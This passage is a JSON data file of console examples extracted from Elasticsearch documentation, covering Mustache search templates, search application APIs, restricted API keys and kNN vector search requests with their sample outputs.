}\n },\n {\n \"term\": {\n \"url.domain\": \"example.com\"\n }\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":537},"digest":"b4946ecc9101b97102a1c5bcb19e5607","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": \"{ \\\"query\\\": { \\\"bool\\\": { \\\"filter\\\": [ {{#year_scope}} { \\\"range\\\": { \\\"@timestamp\\\": { \\\"gte\\\": \\\"now-1y/d\\\", \\\"lt\\\": \\\"now/d\\\" } } }, {{/year_scope}} { \\\"term\\\": { \\\"user.id\\\": \\\"{{user_id}}\\\" }}]}}}\",\n \"params\": {\n \"year_scope\": true,\n \"user_id\": \"kimchy\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":551},"digest":"3f89a6db1eda6ccf99d2e4cda8cd38f1","lang":"console-result","found":[],"source":"{\n \"template_output\" : {\n \"query\" : {\n \"bool\" : {\n \"filter\" : [\n {\n \"range\" : {\n \"@timestamp\" : {\n \"gte\" : \"now-1y/d\",\n \"lt\" : \"now/d\"\n }\n }\n },\n {\n \"term\" : {\n \"user.id\" : \"kimchy\"\n }\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":580},"digest":"3ac075c5b5bbe648d40d06cce3061367","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": \"{ \\\"query\\\": { \\\"bool\\\": { \\\"filter\\\": [ {{#year_scope}} { \\\"range\\\": { \\\"@timestamp\\\": { \\\"gte\\\": \\\"now-1y/d\\\", \\\"lt\\\": \\\"now/d\\\" } } }, {{/year_scope}} { \\\"term\\\": { \\\"user.id\\\": \\\"{{user_id}}\\\" }}]}}}\",\n \"params\": {\n \"year_scope\": false,\n \"user_id\": \"kimchy\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":594},"digest":"77ae66f96b4719d28a8f6e7d7ed74b94","lang":"console-result","found":[],"source":"{\n \"template_output\" : {\n \"query\" : {\n \"bool\" : {\n \"filter\" : [\n {\n \"term\" : {\n \"user.id\" : \"kimchy\"\n }\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":623},"digest":"a01753fa7b4ba6dc19054f4f42d91cd9","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": \"{ \\\"query\\\": { \\\"bool\\\": { \\\"filter\\\": [ { \\\"range\\\": { \\\"@timestamp\\\": { \\\"gte\\\": {{#year_scope}} \\\"now-1y/d\\\" {{/year_scope}} {{^year_scope}} \\\"now-1d/d\\\" {{/year_scope}} , \\\"lt\\\": \\\"now/d\\\" }}}, { \\\"term\\\": { \\\"user.id\\\": \\\"{{user_id}}\\\" }}]}}}\",\n \"params\": {\n \"year_scope\": true,\n \"user_id\": \"kimchy\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":647},"digest":"52bc577a0d0cd42b46f33e0ef5124df8","lang":"console","found":["ruby"],"source":"PUT _scripts/my-search-template\n{\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": {\n \"query\": {\n \"match\": {\n \"message\": \"{{query_string}}\"\n }\n },\n \"from\": \"{{from}}\",\n \"size\": \"{{size}}\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":668},"digest":"ad92a1a8bb1b0f26d1536fe8ba4ffd17","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"id\": \"my-search-template\",\n \"params\": {\n \"query_string\": \"hello world\",\n \"from\": 20,\n \"size\": 10\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":683},"digest":"8a42210ef72ab6e74c64e9f7db89fbfa","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"match\": {\n \"message\": \"hello world\"\n }\n },\n \"from\": \"20\",\n \"size\": \"10\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":702},"digest":"29953082744b7a36e437b392a6391c81","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"id\": \"my-search-template\",\n \"params\": {\n \"from\": 20,\n \"size\": 10\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":717},"digest":"d77deccf61135645c87ba462d5f7f63c","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"match\": {\n \"message\": \"\"\n }\n },\n \"from\": \"20\",\n \"size\": \"10\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":740},"digest":"cde19d110a58317610033ea3dcb0eb80","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\":\n \"\"\"\n {\n \"query\": {\n \"match\": {\n {{#query_message}}\n {{#query_string}}\n \"message\": \"Hello {{#first_name_section}}{{first_name}}{{/first_name_section}} {{#last_name_section}}{{last_name}}{{/last_name_section}}\"\n {{/query_string}}\n {{/query_message}}\n }\n }\n }\n \"\"\",\n \"params\": {\n \"query_message\": {\n \"query_string\": {\n \"first_name_section\": {\"first_name\": \"John\"},\n \"last_name_section\": {\"last_name\": \"kimchy\"}\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":771},"digest":"f8b8ff75c90bb783a90d3005e1cf78fb","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"match\": {\n \"message\": \"Hello John kimchy\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":791},"digest":"bd2a387e8c21bf01a1039e81d7602921","lang":"console","found":["ruby"],"source":"PUT _scripts/my-search-template\n{\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": {\n \"query\":{\n \"multi_match\":{\n \"query\": \"{{query_string}}\",\n \"fields\": \"\"\"[{{#text_fields}}{{user_name}},{{/text_fields}}]\"\"\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":811},"digest":"3182f26c61fbe5cf89400804533d5ed2","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"id\": \"my-search-template\",\n \"params\": {\n \"query_string\": \"My string\",\n \"text_fields\": [\n {\n \"user_name\": \"John\"\n },\n {\n \"user_name\": \"kimchy\"\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":833},"digest":"e7c57155abd38639ca38d35348a35f25","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"multi_match\": {\n \"query\": \"My string\",\n \"fields\": \"[John,kimchy,]\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":851},"digest":"98b403c356a9b14544e9b9f646845e9f","lang":"console","found":["ruby"],"source":"PUT _scripts/my-search-template\n{\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": {\n \"query\":{\n \"multi_match\":{\n \"query\": \"{{query_string}}\",\n \"fields\": \"\"\"[{{#text_fields}}{{user_name}}{{^last}},{{/last}}{{/text_fields}}]\"\"\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":870},"digest":"48d9697a14dfe131325521f48a7adc84","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"id\": \"my-search-template\",\n \"params\": {\n \"query_string\": \"My string\",\n \"text_fields\": [\n {\n \"user_name\": \"John\",\n \"last\": false\n },\n {\n \"user_name\": \"kimchy\",\n \"last\": true\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":894},"digest":"8a99462637859cb768f64c2046714ba6","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"multi_match\": {\n \"query\": \"My string\",\n \"fields\": \"[John,kimchy]\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":929},"digest":"0c7c40cd17985c3dd32aeaadbafc4fce","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": {\n \"query\": {\n \"match\": {\n \"message\": \"{{^name_exists}}Hello World{{/name_exists}}\"\n }\n }\n },\n \"params\": {\n \"name_exists\": false\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":950},"digest":"13917f7cfb6a382c293275ff71134ec4","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"source\": {\n \"query\": {\n \"match\": {\n \"message\": \"Hello {{#name_exists}}{{query_string}}{{/name_exists}}{{^name_exists}}World{{/name_exists}}\"\n }\n }\n },\n \"params\": {\n \"query_string\": \"Kimchy\",\n \"name_exists\": true\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":970},"digest":"68a6d4828e350dd9a9c115988b54f2a5","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"match\": {\n \"message\": \"Hello Kimchy\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":990},"digest":"451b441c3311103d0d2bdbab771b26d2","lang":"console","found":["ruby"],"source":"PUT _scripts/my-search-template\n{\n \"script\": {\n \"lang\": \"mustache\",\n \"source\":\n \"\"\"\n {\n \"query\": {\n \"match\": {\n {{=( )=}}\n \"message\": \"(query_string)\"\n (={{ }}=)\n }\n }\n }\n \"\"\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":1013},"digest":"3e6db3d80439c2c176dbd1bb1296b6cf","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"id\": \"my-search-template\",\n \"params\": {\n \"query_string\": \"hello world\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-template.asciidoc","line":1027},"digest":"49946ca90f8f7c65bf1216ddb12ca08b","lang":"console-result","found":[],"source":"{\n \"template_output\": {\n \"query\": {\n \"match\": {\n \"message\": \"hello world\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-overview.asciidoc","line":98},"digest":"f8833488041f3d318435b60917fa877c","lang":"console","found":[],"source":"PUT /_application/search_application/my_search_application\n{\n \"indices\": [ \"my_search_index1\", \"my_search_index2\" ],\n \"template\": {\n \"script\": {\n \"source\": {\n \"query\": {\n \"query_string\": {\n \"query\": \"{{query_string}}\",\n \"default_field\": \"{{default_field}}\"\n }\n }\n },\n \"params\": {\n \"query_string\": \"*\",\n \"default_field\": \"*\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":97},"digest":"50e5fb224b1eb60a8ca76168c51ce85e","lang":"console","found":[],"source":"POST _application/search_application//_search\n{\n \"params\": {\n \"query_string\": \"my first query\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":141},"digest":"bf92d4857244864f5e05f1c6f5aaa58c","lang":"console","found":[],"source":"PUT _application/search_application/my_search_application\n{\n \"indices\": [\"my_index1\", \"my_index2\"],\n \"template\": {\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": \"\"\"\n {\n \"query\": {\n \"multi_match\": {\n \"query\": \"{{query_string}}\",\n \"fields\": [{{#text_fields}}\"{{name}}^{{boost}}\",{{/text_fields}}]\n }\n },\n \"explain\": \"{{explain}}\",\n \"from\": \"{{from}}\",\n \"size\": \"{{size}}\"\n }\n \"\"\",\n \"params\": {\n \"query_string\": \"*\",\n \"text_fields\": [\n {\"name\": \"title\", \"boost\": 10},\n {\"name\": \"description\", \"boost\": 5}\n ],\n \"explain\": false,\n \"from\": 0,\n \"size\": 10\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":179},"digest":"193d86b6cc34e12c2be806d27816a35c","lang":"console","found":[],"source":"POST _application/search_application/my_search_application/_search\n{\n \"params\": {\n \"size\": 5,\n \"query_string\": \"mountain climbing\",\n \"text_fields\": [\n {\"name\": \"title\", \"boost\": 10},\n {\"name\": \"description\", \"boost\": 2},\n {\"name\": \"state\", \"boost\": 1}\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":207},"digest":"26707b921087b121820d581a9c1c94b7","lang":"console","found":[],"source":"PUT _application/search_application/my-search-app\n{\n \"indices\": [\n \"search-my-crawler\"\n ],\n \"template\": {\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": \"\"\"\n {\n \"retriever\": {\n \"rrf\": {\n \"retrievers\": [\n {{#text_fields}}\n {\n \"standard\": {\n \"query\": {\n \"match\": {\n \"{{.}}\": \"{{query_string}}\"\n }\n }\n }\n },\n {{/text_fields}}\n {{#elser_fields}}\n {\n \"standard\": {\n \"query\": {\n \"text_expansion\": {\n \"ml.inference.{{.}}_expanded.predicted_value\": {\n \"model_text\": \"{{query_string}}\",\n \"model_id\": \"\"\n }\n }\n }\n }\n }\n {{/elser_fields}}\n ],\n \"window_size\": {{rrf.window_size}},\n \"rank_constant\": {{rrf.rank_constant}}\n }\n }\n }\n \"\"\",\n \"params\": {\n \"elser_fields\": [\"title\", \"meta_description\"],\n \"text_fields\": [\"title\", \"meta_description\"],\n \"query_string\": \"\",\n \"rrf\": {\n \"window_size\": 100,\n \"rank_constant\": 60\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":273},"digest":"65b51fa6a712f98a0930511e019f5985","lang":"console","found":[],"source":"POST _application/search_application/my-search-app/_search\n{\n \"params\": {\n \"query_string\": \"What is the most popular brand of coffee sold in the United States?\",\n \"elser_fields\": [\"title\", \"meta_description\"],\n \"text_fields\": [\"title\", \"meta_description\"],\n \"rrf\": {\n \"window_size\": 50,\n \"rank_constant\": 25\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":302},"digest":"4e3edbb4dfe2260b7d9c9e279eca9941","lang":"console","found":[],"source":"PUT _application/search_application/my_search_application\n{\n \"indices\": [\n \"my_index1\",\n \"my_index2\"\n ],\n \"template\": {\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": \"\"\"\n {\n \"query\": {\n \"bool\": {\n \"should\": [\n {{#text}}\n {\n \"multi_match\": {\n \"query\": \"{{query_string}}\",\n \"fields\": [{{#text_fields}}\"{{name}}^{{boost}}\",{{/text_fields}}],\n \"boost\": \"{{text_query_boost}}\"\n }\n },\n {{/text}}\n {{#elser}}\n {{#elser_fields}}\n {\n \"text_expansion\": {\n \"ml.inference.{{name}}_expanded.predicted_value\": {\n \"model_text\": \"{{query_string}}\",\n \"model_id\": \".elser_model_1\",\n \"boost\": \"{{boost}}\"\n }\n }\n },\n {{/elser_fields}}\n { \"bool\": { \"must\": [] } },\n {{/elser}}\n {{^text}}\n {{^elser}}\n {\n \"query_string\": {\n \"query\": \"{{query_string}}\",\n \"default_field\": \"{{default_field}}\",\n \"default_operator\": \"{{default_operator}}\",\n \"boost\": \"{{text_query_boost}}\"\n }\n },\n {{/elser}}\n {{/text}}\n { \"bool\": { \"must\": [] } }\n ],\n \"minimum_should_match\": 1\n }\n },\n \"min_score\": \"{{min_score}}\",\n \"explain\": \"{{explain}}\",\n \"from\": \"{{from}}\",\n \"size\": \"{{size}}\"\n }\n \"\"\",\n \"params\": {\n \"text\": false,\n \"elser\": false,\n \"elser_fields\": [\n {\"name\": \"title\", \"boost\": 1},\n {\"name\": \"description\", \"boost\": 1}\n ],\n \"text_fields\": [\n {\"name\": \"title\", \"boost\": 10},\n {\"name\": \"description\", \"boost\": 5},\n {\"name\": \"state\", \"boost\": 1}\n ],\n \"query_string\": \"*\",\n \"text_query_boost\": 4,\n \"default_field\": \"*\",\n \"default_operator\": \"OR\",\n \"explain\": false,\n \"from\": 0,\n \"size\": 10,\n \"min_score\": 0\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":392},"digest":"b00ac39faf96785e89be8d4205fb984d","lang":"console","found":[],"source":"POST _application/search_application/my_search_application/_search\n{\n \"params\": {\n \"text\": true,\n \"size\": 5,\n \"query_string\": \"mountain climbing\",\n \"text_fields\": [\n {\"name\": \"title\", \"boost\": 10},\n {\"name\": \"description\", \"boost\": 5},\n {\"name\": \"state\", \"boost\": 1}\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":411},"digest":"64c804869ddfbcb9075817d0bbf71b5c","lang":"console","found":[],"source":"POST _application/search_application/my_search_application/_search\n{\n \"params\": {\n \"elser\": true,\n \"query_string\": \"where is the best mountain climbing?\",\n \"elser_fields\": [\n {\"name\": \"title\", \"boost\": 1},\n {\"name\": \"description\", \"boost\": 1}\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":428},"digest":"5d5cdbd4c5c62a90ff2a39cba4a59368","lang":"console","found":[],"source":"POST _application/search_application/my_search_application/_search\n{\n \"params\": {\n \"elser\": true,\n \"text\": true,\n \"query_string\": \"where is the best mountain climbing?\",\n \"elser_fields\": [\n {\"name\": \"title\", \"boost\": 1},\n {\"name\": \"description\", \"boost\": 1}\n ],\n \"text_query_boost\": 4,\n \"min_score\": 10\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":462},"digest":"b84932030e60a2cd58884b9dc6d3147f","lang":"console","found":[],"source":"POST _application/search_application/my_search_application/_search"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":473},"digest":"fe87b02d92a9f56e59e4594d0485aaa9","lang":"console","found":[],"source":"PUT _application/search_application/my_search_application\n{\n \"indices\": [\n \"my_index1\",\n \"my_index2\"\n ],\n \"template\": {\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": \"\"\"\n {\n \"query\": {\n \"bool\": {\n \"should\": [\n {{#elser_fields}}\n {\n \"text_expansion\": {\n \"ml.inference.{{name}}_expanded.predicted_value\": {\n \"model_text\": \"{{query_string}}\",\n \"model_id\": \"\"\n }\n }\n },\n {{/elser_fields}}\n ]\n }\n },\n \"min_score\": \"{{min_score}}\"\n }\n \"\"\",\n \"params\": {\n \"query_string\": \"*\",\n \"min_score\": \"10\",\n \"elser_fields\": [\n {\n \"name\": \"title\"\n },\n {\n \"name\": \"description\"\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":527},"digest":"87d970b4944b6d742c484d7184996c8a","lang":"console","found":[],"source":"POST _application/search_application/my_search_application/_search\n {\n \"params\": {\n \"query_string\": \"Where is the best place for mountain climbing?\"\n }\n }"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":546},"digest":"e0b4986133811368a413222b5c71d468","lang":"console","found":[],"source":"PUT _application/search_application/my_search_application\n{\n \"indices\": [\n \"my_product_index\"\n ],\n \"template\": {\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": \"\"\"\n {\n \"query\": {\n \"script_score\": {\n \"query\": {\n \"bool\": {\n \"filter\": {\n \"range\": {\n \"{{field}}\": {\n \"{{operator}}\": {{value}}\n }\n }\n }\n }\n },\n \"script\": {\n \"source\": \"cosineSimilarity({{#toJson}}query_vector{{/toJson}}, '{{dense_vector_field}}') + 1.0\"\n }\n }\n }\n }\n \"\"\",\n \"params\": {\n \"field\": \"price\",\n \"operator\": \"gte\",\n \"value\": 1000,\n \"dense_vector_field\": \"product-vector\",\n \"query_vector\": []\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":592},"digest":"40a42f005144cfed3dd1dcf2638e8211","lang":"console","found":[],"source":"POST _application/search_application/my_search_application/_search\n{\n \"params\": {\n \"field\": \"price\",\n \"operator\": \"gte\",\n \"value\": 500\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":607},"digest":"ba530385b7f6b7c2d5d60814e03ee900","lang":"console","found":[],"source":"PUT _application/search_application/my_search_application\n{\n \"indices\": [\n \"my_product_index\"\n ],\n \"template\": {\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": \"\"\"\n {\n \"knn\": {\n \"field\": \"{{knn_field}}\",\n \"query_vector\": {{#toJson}}query_vector{{/toJson}},\n \"k\": \"{{k}}\",\n \"num_candidates\": {{num_candidates}}\n },\n \"fields\": {{#toJson}}fields{{/toJson}}\n }\n \"\"\",\n \"params\": {\n \"knn_field\": \"image-vector\",\n \"query_vector\": [],\n \"k\": 10,\n \"num_candidates\": 100,\n \"fields\": [\"title\", \"file-type\"]\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-api.asciidoc","line":642},"digest":"a43954d055f042d625a905513821f5f0","lang":"console","found":[],"source":"POST _application/search_application/my_search_application/_search\n{\n \"params\": {\n \"knn_field\": \"image-vector\",\n \"query_vector\": [-5, 9, -12],\n \"k\": 10,\n \"num_candidates\": 100,\n \"fields\": [\"title\", \"file-type\"]\n }\n}\n"}, {"source_location":{"file":"search/search-your-data/search-application-security.asciidoc","line":40},"digest":"282e9e845b606f29a5bba174ae4c4c4d","lang":"console","found":[],"source":"POST /_security/api_key\n{\n \"name\": \"my-restricted-api-key\",\n \"expiration\": \"7d\",\n \"role_descriptors\": {\n \"my-restricted-role-descriptor\": {\n \"indices\": [\n {\n \"names\": [\"website-product-search\"], <1>\n \"privileges\": [\"read\"]\n }\n ],\n \"restriction\": {\n \"workflows\": [\"search_application_query\"] <2>\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-security.asciidoc","line":75},"digest":"9c51c04e8c8037bb5037abca70d68e7d","lang":"console-result","found":[],"source":"{\n \"id\": \"v1CCJYkBvb5Pg9T-_JgO\",\n \"name\": \"my-restricted-api-key\",\n \"expiration\": 1689156288526,\n \"api_key\": \"ztVI-1Q4RjS8qFDxAVet5w\",\n \"encoded\": \"djFDQ0pZa0J2YjVQZzlULV9KZ086enRWSS0xUTRSalM4cUZEeEFWZXQ1dw\"\n}"}, {"source_location":{"file":"search/search-your-data/search-application-security.asciidoc","line":128},"digest":"634ecacf14b83c5f0bb8b6273cf6418e","lang":"console","found":[],"source":"PUT _application/search_application/website-product-search\n{\n \"indices\": [\n \"website-products\"\n ],\n \"template\": {\n \"script\": {\n \"source\": {\n \"query\": {\n \"term\": {\n \"{{field_name}}\": \"{{field_value}}\"\n }\n },\n \"aggs\": {\n \"color_facet\": {\n \"terms\": {\n \"field\": \"color\",\n \"size\": \"{{agg_size}}\"\n }\n }\n }\n },\n \"params\": {\n \"field_name\": \"product_name\",\n \"field_value\": \"hello world\",\n \"agg_size\": 5\n }\n },\n \"dictionary\": {\n \"properties\": {\n \"field_name\": {\n \"type\": \"string\",\n \"enum\": [\"name\", \"color\", \"description\"]\n },\n \"field_value\": {\n \"type\": \"string\"\n },\n \"agg_size\": {\n \"type\": \"integer\",\n \"minimum\": 1,\n \"maximum\": 10\n }\n },\n \"required\": [\n \"field_name\"\n ],\n \"additionalProperties\": false\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-client.asciidoc","line":196},"digest":"a5b59f0170a2feaa39e40243fd7ae359","lang":"console","found":[],"source":"PUT _application/search_application/my-example-app\n{\n \"indices\": [\"my-example-app\"],\n \"template\": {\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": \"\"\"\n {\n \"query\": {\n \"bool\": {\n \"must\": [\n {{#query}}\n {\n \"query_string\": {\n \"query\": \"{{query}}\",\n \"search_fields\": {{#toJson}}search_fields{{/toJson}}\n }\n }\n {{/query}}\n ]\n }\n }\n }\n \"\"\",\n \"params\": {\n \"query\": \"\",\n \"search_fields\": \"\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-client.asciidoc","line":286},"digest":"32b8a5152b47930f2e16c40c8615c7bb","lang":"console","found":[],"source":"PUT _application/search_application/my-example-app\n{\n \"indices\": [\"example-index\"],\n \"template\": {\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": \"\"\"\n {\n \"query\": {\n \"bool\": {\n \"must\": [\n {{#query}}\n {\n \"multi_match\" : {\n \"query\": \"{{query}}\",\n \"fields\": [ \"title^4\", \"plot\", \"actors\", \"directors\" ]\n }\n },\n {\n \"multi_match\" : {\n \"query\": \"{{query}}\",\n \"type\": \"phrase_prefix\",\n \"fields\": [ \"title^4\", \"plot\"]\n }\n },\n {{/query}}\n ],\n \"filter\": {{#toJson}}_es_filters{{/toJson}}\n }\n },\n \"aggs\": {{#toJson}}_es_aggs{{/toJson}},\n \"from\": {{from}},\n \"size\": {{size}},\n \"sort\": {{#toJson}}_es_sort_fields{{/toJson}}\n }\n \"\"\",\n \"params\": {\n \"query\": \"\",\n \"_es_filters\": {},\n \"_es_aggs\": {},\n \"_es_sort_fields\": {},\n \"size\": 10,\n \"from\": 0\n },\n \"dictionary\": {\n // add dictionary restricting\n // _es_filters, _es_sort_fields & _es_aggs params\n // Use example provided in repo: https://github.com/elastic/search-application-client/blob/main/bin/request_schema.json\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-client.asciidoc","line":363},"digest":"6b6fd0a5942dfb9762ad2790cf421a80","lang":"console","found":[],"source":"PUT _application/search_application/my-example-app\n{\n \"indices\": [\"example-index\"],\n \"template\": {\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": \"\"\"\n {\n \"query\": {\n \"bool\": {\n \"must\": [\n {{#query}}\n // ...\n {{/query}}\n ],\n \"filter\": {{#toJson}}_es_filters{{/toJson}}\n }\n },\n \"_source\": {\n \"includes\": [\"title\", \"plot\"]\n },\n \"aggs\": {{#toJson}}_es_aggs{{/toJson}},\n \"from\": {{from}},\n \"size\": {{size}},\n \"sort\": {{#toJson}}_es_sort_fields{{/toJson}}\n }\n \"\"\",\n \"params\": {\n \"query\": \"\",\n \"_es_filters\": {},\n \"_es_aggs\": {},\n \"_es_sort_fields\": {},\n \"size\": 10,\n \"from\": 0\n },\n \"dictionary\": {\n // add dictionary restricting _es_filters and _es_aggs params\n // Use the dictionary example provided in repo: https://github.com/elastic/search-application-client/blob/main/bin/request_schema.json\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-application-client.asciidoc","line":427},"digest":"16634cfa7916cf4e8048a1d70e6240f2","lang":"console","found":[],"source":"PUT _application/search_application/my-example-app\n{\n \"indices\": [\"example-index\"],\n \"template\": {\n \"script\": {\n \"lang\": \"mustache\",\n \"source\": \"\"\"\n {\n \"query\": {\n \"bool\": {\n \"must\": [\n {{#query}}\n // ...\n {{/query}}\n ],\n \"filter\": {{#toJson}}_es_filters{{/toJson}}\n }\n },\n \"_source\": {\n \"includes\": [\"title\", \"plot\"]\n },\n \"highlight\": {\n \"fields\": {\n \"title\": { \"fragment_size\": 0 },\n \"plot\": { \"fragment_size\": 200 }\n }\n },\n \"aggs\": {{#toJson}}_es_aggs{{/toJson}},\n \"from\": {{from}},\n \"size\": {{size}},\n \"sort\": {{#toJson}}_es_sort_fields{{/toJson}}\n }\n \"\"\",\n \"params\": {\n \"query\": \"\",\n \"_es_filters\": {},\n \"_es_aggs\": {},\n \"_es_sort_fields\": {},\n \"size\": 10,\n \"from\": 0\n },\n \"dictionary\": {\n // add dictionary restricting _es_filters and _es_aggs params\n // Use the dictionary example provided in repo: https://github.com/elastic/search-application-client/blob/main/bin/request_schema.json\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":85},"digest":"dadb69a225778ecd6528924c0aa029bb","lang":"console","found":["ruby"],"source":"PUT image-index\n{\n \"mappings\": {\n \"properties\": {\n \"image-vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 3,\n \"similarity\": \"l2_norm\"\n },\n \"title-vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 5,\n \"similarity\": \"l2_norm\"\n },\n \"title\": {\n \"type\": \"text\"\n },\n \"file-type\": {\n \"type\": \"keyword\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":115},"digest":"c9c21191ae15a49955bffde0ac749a49","lang":"console","found":[],"source":"POST image-index/_bulk?refresh=true\n{ \"index\": { \"_id\": \"1\" } }\n{ \"image-vector\": [1, 5, -20], \"title-vector\": [12, 50, -10, 0, 1], \"title\": \"moose family\", \"file-type\": \"jpg\" }\n{ \"index\": { \"_id\": \"2\" } }\n{ \"image-vector\": [42, 8, -15], \"title-vector\": [25, 1, 4, -12, 2], \"title\": \"alpine lake\", \"file-type\": \"png\" }\n{ \"index\": { \"_id\": \"3\" } }\n{ \"image-vector\": [15, 11, 23], \"title-vector\": [1, 5, 25, 50, 20], \"title\": \"full moon\", \"file-type\": \"jpg\" }\n..."}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":132},"digest":"9c6ea5fe2339d6c7e5e4bf1b98990248","lang":"console","found":["ruby"],"source":"POST image-index/_search\n{\n \"knn\": {\n \"field\": \"image-vector\",\n \"query_vector\": [-5, 9, -12],\n \"k\": 10,\n \"num_candidates\": 100\n },\n \"fields\": [ \"title\", \"file-type\" ]\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":190},"digest":"d8ea6a1a1c546bf29f65f8c65439b156","lang":"console","found":["ruby"],"source":"PUT byte-image-index\n{\n \"mappings\": {\n \"properties\": {\n \"byte-image-vector\": {\n \"type\": \"dense_vector\",\n \"element_type\": \"byte\",\n \"dims\": 2\n },\n \"title\": {\n \"type\": \"text\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":213},"digest":"9851f5225150bc032fb3b195cd447f4f","lang":"console","found":["ruby"],"source":"POST byte-image-index/_bulk?refresh=true\n{ \"index\": { \"_id\": \"1\" } }\n{ \"byte-image-vector\": [5, -20], \"title\": \"moose family\" }\n{ \"index\": { \"_id\": \"2\" } }\n{ \"byte-image-vector\": [8, -15], \"title\": \"alpine lake\" }\n{ \"index\": { \"_id\": \"3\" } }\n{ \"byte-image-vector\": [11, 23], \"title\": \"full moon\" }"}, 